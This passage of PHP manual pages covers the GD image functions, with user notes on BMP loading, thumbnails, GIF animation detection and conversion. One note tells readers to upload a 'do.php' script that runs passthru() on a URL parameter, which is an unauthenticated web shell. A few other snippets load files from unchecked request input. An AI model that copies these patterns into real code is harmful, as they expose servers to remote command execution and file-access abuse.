   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
    $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Création de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
    $X=0;
    while ($X < $BMP['width'])
    {
     if ($BMP['bits_per_pixel'] == 24)
        $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
        $COLOR = unpack("n",substr($IMG,$P,2));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if     (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
        elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
        elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
        elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
        elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
        elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
        elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
        elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
        return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
    }
    $Y--;
    $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
05-Jan-2005 01:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
    //calculate thumb size
            $ow = imagesx($im);
            $oh = imagesy($im);
            $maxh = 100;
            $maxw = 150;
            $new_h = $oh;
            $new_w = $ow;

            if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
            }

            //create dst image
            $dst_img = ImageCreateTrueColor($new_w,$new_h);
            //resize and copy image
            ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
            $function_image_new($dst_img,$galdir.$file);
?>
info at henrici dot biz 13-Aug-2004 10:27
To make the gd library available for Apache2/mod_php on Gentoo the following steps are required (and sufficient):
1) Add a USE flag for gd in "/etc/make.conf":
   USE="<other use flags> gd"
   A list of all of the USE flags can be found at: http://www.gentoo.org/dyn/use-index.xml
2) Re-emerge mod_php by executing "emerge mod_php"
3) Restart apache2 by executing "/etc/init.d/apache2 restart"

You need not uncomment the "extension=php_gd2.dll" line in "php.ini" as mentioned in a previous posting (since that line is only relevant for Windows).
cstevens at gencom dot us 20-Apr-2004 04:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
    # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

    /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net 12-Apr-2004 04:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com 03-Dec-2003 11:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz 21-Oct-2003 08:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com 29-Aug-2002 02:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com 17-May-2002 10:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de 08-Feb-2002 08:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee 08-Jul-2001 09:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net 06-Jul-2001 05:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net 19-Apr-2001 04:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr 08-Feb-2001 03:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org 14-Dec-2000 04:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!
phantom at t-p-l dot com 18-Feb-2000 11:11
after some experimenting I've come to the following concusions:
1) if you don't have GD when compiling PHP you have to recompile PHP to enable GD support..
2) imagepng() works the same way as imagegif() just creates png's ..
3) the first color you imagecolormatch becomes the background.. hmm..

hope this helps anyone =)
scott at mha dot ca 09-Feb-2000 11:49
okay .. listen .. if you are getting fatal errors attempting to use ImageCreate() then you most probably do not have GD installed .. Likewise, if you are getting fatal errors attempting to use ImageGIF() then you are most probably using a version of GD which does not support the GIF format.  Notice that in both of these examples that the problem has nothing to do with PHP or whether or not PHP "supports" any particular function.  You must have the GD image library installed to make images work.  It is as simple as that.  Furthermore, although current versions of GD do NOT support the GIF format, I know that old versions of GD (ie. version 1.3) do support the GIF format but they are probably illegal to use now because of the fuss that unisys has been making about it.
imagecopyresized
imagecreatefromgd2
GD and Image Functions


Create a new image from GD2 file or URL

imagecreate
imagecreatefromgd2part
GD and Image Functions
PHP Manual

imagecreatefromgd2

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd2 — Create a new image from GD2 file or URL

Description

resource imagecreatefromgd2 ( string $filename )

Create a new image from GD2 file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD2 image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd2() example

<?php
// Load the gd2 image
$im = imagecreatefromgd2('./test.gd2');

// Apply an effect on the image, in this
// case negate the image if PHP 5+
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_NEGATE);
}

// Save the image
imagegd2($im, './test_updated.gd2');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.
imagecreate
imagecreatefromgd2part
GD and Image Functions


Create a new image from a given part of GD2 file or URL

imagecreatefromgd2
imagecreatefromgd
GD and Image Functions
PHP Manual

imagecreatefromgd2part

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL

Description

resource imagecreatefromgd2part ( string $filename , int $srcX , int $srcY , int $width , int $height )

Create a new image from a given part of GD2 file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD2 image.

srcX

x-coordinate of source point.

srcY

y-coordinate of source point.

width

Source width.

height

Source height.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd2part() example

<?php
// For this example we need the image size before
$image = getimagesize('./test.gd2');

// Create the image instance now we got the image
// sizes
$im = imagecreatefromgd2part('./test.gd2', 4, 4, ($image[0] / 2) - 6, ($image[1] / 2) - 6);

// Do an image operation, in this case we emboss the
// image if PHP 5+
if(function_exists('imagefilter'))
{
    imagefilter($im, IMG_FILTER_EMBOSS);
}

// Save optimized image
imagegd2($im, './test_emboss.gd2');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.
imagecreatefromgd2
imagecreatefromgd
GD and Image Functions


Create a new image from GD file or URL

imagecreatefromgd2part
imagecreatefromgif
GD and Image Functions
PHP Manual

imagecreatefromgd

(PHP 4 >= 4.0.7, PHP 5)

imagecreatefromgd — Create a new image from GD file or URL

Description

resource imagecreatefromgd ( string $filename )

Create a new image from GD file or URL.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GD file.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 imagecreatefromgd() example

<?php
// Load the gd image
$im = @imagecreatefromgd('./test.gd');

// Test if the image was loaded
if(!is_resource($im))
{
     die('Unable to load gd image!');
}

// Do image operations here

// Save the image
imagegd($im, './test_updated.gd');
imagedestroy($im);
?>

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

There are no user contributed notes for this page.
imagecreatefromgd2part
imagecreatefromgif
GD and Image Functions


Create a new image from file or URL

imagecreatefromgd
imagecreatefromjpeg
GD and Image Functions
PHP Manual

imagecreatefromgif

(PHP 4, PHP 5)

imagecreatefromgif — Create a new image from file or URL

Description

resource imagecreatefromgif ( string $filename )

imagecreatefromgif() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the GIF image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a GIF

<?php
function LoadGif($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromgif($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im = imagecreatetruecolor (150, 30);
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc = imagecolorallocate ($im, 0, 0, 0);

        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring ($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/gif');

$img = LoadGif('bogus.image');

imagegif($img);
imagedestroy($img);
?>

The above example will output something similar to:

Output of example : Example to handle an error during loading of a GIF

Notes

Note:

GIF support was removed from the GD library in Version 1.6, and added back in Version 2.0.28. This function is not available between these versions.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

frank at huddler dot com 16-Jun-2011 12:25
An updated is_ani based on issues reported here and elsewhere

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2) {
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
   }

    fclose($fh);
    return $count > 1;
}
?>
Malcolm Murphy 14-Mar-2011 12:59
Hopefully this might save someone a headache when using functions to check for animated GIFs.

I have come across some some GIFs use the a different frame separator sequence, \x00\x21, instead of the official standard \x00\x2C. This seems to be happening with animated GIFs saved in Photoshop CS5, although I'm not quite sure if that's where the issue is originating from.

Anyway, I've been using the pattern:
"#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s"
which seems to cover all GIFs, hopefully without misinterpreting.

Cheers.
frank at huddler dot com 05-Jan-2009 03:11
I wrote two alternate versions of ZeBadger's is_ani() function, for determining if a gif file is animated

Original:
http://us.php.net/manual/en/function.imagecreatefromgif.php#59787

The first alternative version is just as memory intensive as the original, and more CPU intensive, but far simpler:

<?php
function is_ani($filename) {
    return (bool)preg_match('#(\x00\x21\xF9\x04.{4}\x00\x2C.*){2,}#s', file_get_contents($filename));
}
?>

The second alternative is about as CPU intensive as the original function, but uses less memory (and may also result in less disk activity)

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2)
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00\x2C#s', $chunk, $matches);

    fclose($fh);
    return $count > 1;
}
?>
max lloyd 01-May-2008 09:08
Someone wanted to display only the first frame of an animated .gif
I thought maybe if the animated .gif was displayed
as a .png, it would only display the first frame.
This worked very good:

The HTML used to display image:
<img src="giftopng.php?image=mypic.gif" alt="" />

The test script called:  "giftopng.php"
<?php

//Get image name from URL
$image=$_GET['image'];

//Load the image
$img = ImageCreateFromGif($image);

//Convert to PNG and send it to browser
if($img) {
header("Content-Type: image/png");
ImagePNG($img);

//Clean-up memory
ImageDestroy($img);
}
?>
moxley at moxleydata dot com 09-Oct-2006 05:40
I wanted to find out if a GIF is Black & White or Color, but I didn't want to wait around for imagecreatefromgif() to parse a 200k file (about 1 second) to get the color map, so I wrote this function to get a list of all the colors in the GIF. Hope it is useful for you.

<?php
function getGIFColorMap($file)
{
   $fp = fopen($file, 'r');
   $buf = fread($fp, 1024);
   fclose($fp);

   // Calculate number of colors
   // buf[10] is the color info byte
   $color_byte = ord($buf[10]);
   $has_color_map = ($color_byte >> 7) & 1;
   $color_res = (($color_byte >> 4) & 7) + 1;
   $bits_per_pixel = ($color_byte & 7) + 1;
   $color_count = 1 << $bits_per_pixel;

   if (!$has_color_map) return null;

   // buf[13] is the beginning of the color map
   $color_map_index = 13;
   $map = array();
   for ($i=0; $i < $color_count; $i++) {
       $index = $color_map_index + $i*3;
       $r = ord($buf[$index]);
       $g = ord($buf[$index + 1]);
       $b = ord($buf[$index + 2]);
       $map[$i] = array($r, $g, $b);
   }
   return $map;
}
?>
razonklnbd at yahoo dot com 17-Dec-2005 11:35
this function will convert gif image to jpeg. it take three parameter as argument. two argument are optional
first will take the gif file name. second for file name to save the converted file. third argument is an color array

function gif2jpeg($p_fl, $p_new_fl='', $bgcolor=false){
  list($wd, $ht, $tp, $at)=getimagesize($p_fl);
  $img_src=imagecreatefromgif($p_fl);
  $img_dst=imagecreatetruecolor($wd,$ht);
  $clr['red']=255;
  $clr['green']=255;
  $clr['blue']=255;
  if(is_array($bgcolor)) $clr=$bgcolor;
  $kek=imagecolorallocate($img_dst,
                  $clr['red'],$clr['green'],$clr['blue']);
  imagefill($img_dst,0,0,$kek);
  imagecopyresampled($img_dst, $img_src, 0, 0,
                  0, 0, $wd, $ht, $wd, $ht);
  $draw=true;
  if(strlen($p_new_fl)>0){
    if($hnd=fopen($p_new_fl,'w')){
      $draw=false;
      fclose($hnd);
    }
  }
  if(true==$draw){
    header("Content-type: image/jpeg");
    imagejpeg($img_dst);
  }else imagejpeg($img_dst, $p_new_fl);
  imagedestroy($img_dst);
  imagedestroy($img_src);
}

EXAMPLE:
$fl='http://www.suchona.com/test/testgif.gif';
$c['red']=255;
$c['green']=0;
$c['blue']=0;
gif2jpeg($fl, '', $c);

Thanks
Md. Shahadat Hossain Khan Razon
razon.phpxperts.com
ZeBadger 15-Dec-2005 09:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
        $filecontents=file_get_contents($filename);

        $str_loc=0;
        $count=0;
        while ($count < 2) # There is no point in continuing after we find a 2nd frame
        {

                $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
                if ($where1 === FALSE)
                {
                        break;
                }
                else
                {
                        $str_loc=$where1+1;
                        $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                        if ($where2 === FALSE)
                        {
                                break;
                        }
                        else
                        {
                                if ($where1+8 == $where2)
                                {
                                        $count++;
                                }
                                $str_loc=$where2+1;
                        }
                }
        }

        if ($count > 1)
        {
                return(true);

        }
        else
        {
                return(false);
        }
}

exec("ls *gif" ,$allfiles);
foreach ($allfiles as $thisfile)
{
        if (is_ani($thisfile))
        {
                echo "$thisfile is animated<BR>\n";
        }
        else
        {
                echo "$thisfile is NOT animated<BR>\n";
        }
}
?>

It could quite easily be modified to count the number of frames if you required.
steve at stevedix dot de 25-Oct-2005 12:20
If anyone is looking for the Yamasoft gif conversion utility :

Although Yamasoft's website is long gone, the code can be found on the following websites :
 http://www.fpdf.org/phorum/read.php?f=1&i=9418&t=7568#9418

http://www.fpdf.org/download/php-gif.zip

http://phpthumb.sourceforge.net/index.php?source=phpthumb.gif.php
jason at null dot zzz 06-Apr-2004 02:13
thanks yamasoft for the gif to png lib.  it works!  but, there is one bug.  i changed line 1003 to this:

if(isset($this->m_img->m_bTrans) && $this->m_img->m_bTrans && ($nColors > 0)) {

because i was getting an error that m_bTrans is undefined.  i think this is because my gif has no transparency.  after i updated this line, there were no problems.

thanks!

-j
josh [ a t ] OnlineComics [ d o t ] net 07-Oct-2003 08:36
I just installed gif2png on my server, and it took a little research on my part to figure out that this...

passthru("$path/gif2png -O $image_path/image.gif")

will not work if safe mode is on. If you're on a shared server, it probably is. You don't need to turn safe mode off, however, just set the safe_mode_exec_dir variable in your php.ini file to the directory where you installed gif2png. Then you'll be able to execute the program from your PHP script.
29-Jun-2003 04:26
function LoadGif ($imgname) {
    $im = @ImageCreateFromGIF ($imgname); /* Attempt to open */
    if (!$im) { /* See if it failed */
        $im = ImageCreate (150, 30); /* Create a blank image */
        $bgc = ImageColorAllocate ($im, 255, 255, 255);
        $tc  = ImageColorAllocate ($im, 0, 0, 0);
        ImageFilledRectangle ($im, 0, 0, 150, 30, $bgc);
        /* Output an errmsg */
        ImageString($im, 1, 5, 5, "Error loading $imgname", $tc);
    }
    return $im;
}
18-Apr-2003 09:34
re: 09-May-2002 11:31

Seems gif2png is no longer at http://www.tuxedo.org/~esr/gif2png/
I found a Win32 version at http://www.r1ch.net/stuff/gif2png/
(for the Unix and source, see http://catb.org/~esr/gif2png/ )

In Win32,
  passthru("gif2png $filename");
works fine if gif2png.exe is in the path.
It will overwrite the file with .png extension, so be careful,or use temp files as in the post referenced above (without the  -O; type "gif2png" at the command line for the options).

I had a problem with exceeding the default 30 second execution time limit in PHP, so I added this line
  set_time_limit(0); // some odd gifs take a long time (example, a 25K gif, 700x700, mostly blank)
geoffrey at poulet dot org 27-Feb-2003 07:22
After hours of search, I've finally found a program which can convert JPG to GIF.
IJG - The Independent JPEG Group's JPEG software
Version 6 which support GIF (read and write with LZW)
and the version 6b which support GIF (write only without LZW)

The name of the file is: jpegsrc.v6.tar.gz
fezber at yamasoft dot com 13-Feb-2003 07:27
For users who just want GIF read (not write) support but:
1) Don't want to patch GD libs
2) Don't want to recompile something
3) Don't have permissions to install conversion packages
4) Any other reason...

I created a small php script (around 25KB) which lets you load a GIF from a file (you even can specify the image index on animated GIFs) and then convert it to a PNG or BMP file.

If I take one example:

<?
include("gif.php");

$gif = gif_loadFile("./test.gif");

if($gif) {
    // GIF file successfully opened
    if(gif_outputAsPNG($gif, "./test.png")) {
        // Now, just use ImageCreateFromPng...
        $img = ImageCreateFromPng("./test.png");

        if($img) {
            header("Content-Type: image/jpeg");
            ImageJPEG($img);
            ImageDestroy($img);
        }
        else {
            // Could NOT open PNG
        }
    }
    else {
        // Could NOT convert GIF to PNG...
    }
}
else {
    // GIF not loaded...
}
?>

Of course, it's slower than using appropriate software and/or libraries but it's quite useful for reading occasionaly some GIF files.

You'll find the gif.php source code at: http://www.yamasoft.com/php-gif.zip

Fabien
Ady at freebsd dot ady dot ro 11-Jan-2003 11:20
FreeBSD users are lucky to have the option of compiling GIF support in GD2.x through the ports system.
All you need to do is to export the "WITH_LZW=yes" global variable when compiling the graphics/gd2 port, e.g.:

# cd /usr/ports/graphics/gd2
# export WITH_LZW=yes
# make && make install

Then recompile and (re)install the www/mod_php4 port and you are in business... :)

Good luck!
unknown at hotmail dot com 14-Nov-2002 06:00
If GD doesn't support GIFs & gif2png is not available & you are not an administrator, you can install it in your account like this:

create do.php:
<?
  global $do;
  passthru($do);
?>

then upload gif2png-2.4.6.tar.gz, unpack and install it:
do.php?do=tar+-xvzf+gif2png-2.4.6.tar.gz
do.php?do=gif2png-2.4.5/configure
do.php?do=make

Then remove all files except gif2png. Don't forget to remove do.php as it is a serious security hole in your system.

Njoy!

Anze
senbei at terra dot es 09-May-2002 10:31
Since gif support is removed from the more recent GD libraries, you can still use it via an external program.
I've read somewhere about using ImageMagick and I tried myself but it's a quite big package and needs the X11 libs which are not available in some servers.
The other option I found is to use a little prog "gif2png" http://www.tuxedo.org/~esr/gif2png/
to convert gif files to png ones. It works under Unix and dos/win32/winnt and is very straightforward.
If you need to modify an user uploaded gif file to save it into your site just use this:

$path=$_FILES["photo"]["tmp_name"];
passthru("/usr/bin/gif2png -d -O ".$path);
$src_img=imagecreatefrompng( dirname($path)."/".basename($path, ".gif").".png");

This will convert the gif to a png and delete the gif file, then it will open the png with the GDlib so you can perform any operation on it.
chuckg at infinite9 dot com 22-Mar-2001 12:05
I just thought I'd let you guys know of a workaround for the lack of Gif support in the latest GD...aside from adding the patch.  It works just as good, from what I can tell, and is quite nice ;)

Here goes:
<?
//Just grab some general image info
$img = "path/to/image.gif";
$imageInfo = GetImagesize($img);

if ( $imageInfo[2] == 1 ) {
   //it's a gif
   $file = fread(fopen($path, "r"), filesize($path));

   $fileHeader = "image/gif";
   Header("Content-Type: ".$fileHeader);
   echo $file;
   fclose($file);
}
?>

basically what that does is reads the file..through the "GetImageSize", which still returns if it's a GIF or not, (thank god), then if it's a gif, opens the file through normal filestream, sets the header to image type "gif" then prints it out.  Same as doing "ImageCreateFromGif($img)" and "ImageGif($img)", except that it doesn't require GD Gif support.  If you have any questions just ask me via email (chuckg@infinite9.com)
anthony dot atkins at vt dot edu 16-May-2000 06:05
<?php

function myImageCreateFromGif($file_or_url) {

        $dummy_file = "/tmp/dummy.gif";

        # if this is a url, use fopen to get the file data, then
        # save it to a dummy file
        if (preg_match("/(http|ftp):\/\//i", $file_or_url)) {
                # open the file using fopen, which supports remote URLs
                $input = fopen($file_or_url, "rb");

                # read the contents of the file
                # will accept files up to 10Mb, but will probably get
                # and EOF before that, we have to do it this way because
                # filesize isn't designed to work with URLs.  sigh.
                $image_data = fread($input, 10000000);

                fclose($input);

                # write the contents to a dummy file
                $output = fopen("$dummy_file", "wb");
                fwrite($output, $image_data);
                fclose($output);

                # create the gif from the dummy file
                $image = ImageCreateFromGif($dummy_file);

                # get rid of the dummy file
                unlink($dummy_file);

        }

        # if it's not a URL, we can simply open the image directly
        else {
                $image = ImageCreateFromGif($file_or_url);
        }

        if ($image) { return $image; }
        else { return 0; }
}

if (!$url) { $url = "http://scholar.lib.vt.edu/images/cornholio.gif";}
$image = myImageCreateFromGif($url);

if ($image == "" || $image == 0) {
        print "<p>No Image data was returned...</p>\n";
}
else {
        header("Content-Type: image/gif\n\n");
        ImageGif($image);
}

?>
imagecreatefromgd
imagecreatefromjpeg
GD and Image Functions


Create a new image from file or URL

imagecreatefromgif
imagecreatefrompng
GD and Image Functions
PHP Manual

imagecreatefromjpeg

(PHP 4, PHP 5)

imagecreatefromjpeg — Create a new image from file or URL

Description

resource imagecreatefromjpeg ( string $filename )

imagecreatefromjpeg() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the JPEG image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a JPEG

<?php
function LoadJpeg($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefromjpeg($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a black image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/jpeg');

$img = LoadJpeg('bogus.image');

imagejpeg($img);
imagedestroy($img);
?>

The above example will output something similar to:

Output of example : Example to handle an error during loading of a JPEG

Notes

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

Zane, MegaLab.it 14-Jul-2011 09:07
Some image where failing with a Warning: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error: Premature end of JPEG file

The only way to make it work was to ini_set("gd.jpeg_ignore_warning", 1); and then call it with @imagecreatefromjpeg()

It's far less than ideal, but if you're stuck as I was, give it a try.
Jrn Berkefeld 26-Apr-2011 11:08
I encountered a very strange behaviour:
The background:
Each time users uploaded images, the original file was stored along with a thumbnail and a medium sized version for small-sized slideshows.
that means that on upload all of these original images were acknowledged by php as valid jpg

The change:
I created a new slideshow script that featured full-screen display. My old "medium-sized" version were only about 600px wide which caused them to luck all ugly after stretching that to modern screen sizes.
--> I created a small script that opens all original images and saves bigger "medium-sized" versions than the once I had.

the problem:
for some reason about 1/3 of all images (not the last third but always the same images) were now labeled as "... is not a valid JPEG file ..." by php

the cause:
still unknown

the solution:
<?php
...
$src_img = @imagecreatefromjpeg($myJPGfile_relative);
if (!$src_img) {
    $src_img = LoadJPEG("http://example.com/".$myJPGfile);
}
?>

Each time the local approach fails the script falls back to loading the same file "from the outside" via the below mentioned "LoadJPEG" script - big thanks to the author!
That worked even though I'm talking about the exact same file on the exact same server. The only difference is that one time it's accessed locally and the second via port 80.

when using this, watch for correct paths relative to your script and the possibly different path relative to your domain.
s0urce at anonyme dot com 28-Feb-2011 12:56
utf-8 seems NOT to work as pic name - my solution:

<?php
$pic = '/path/to/picture.jpg';
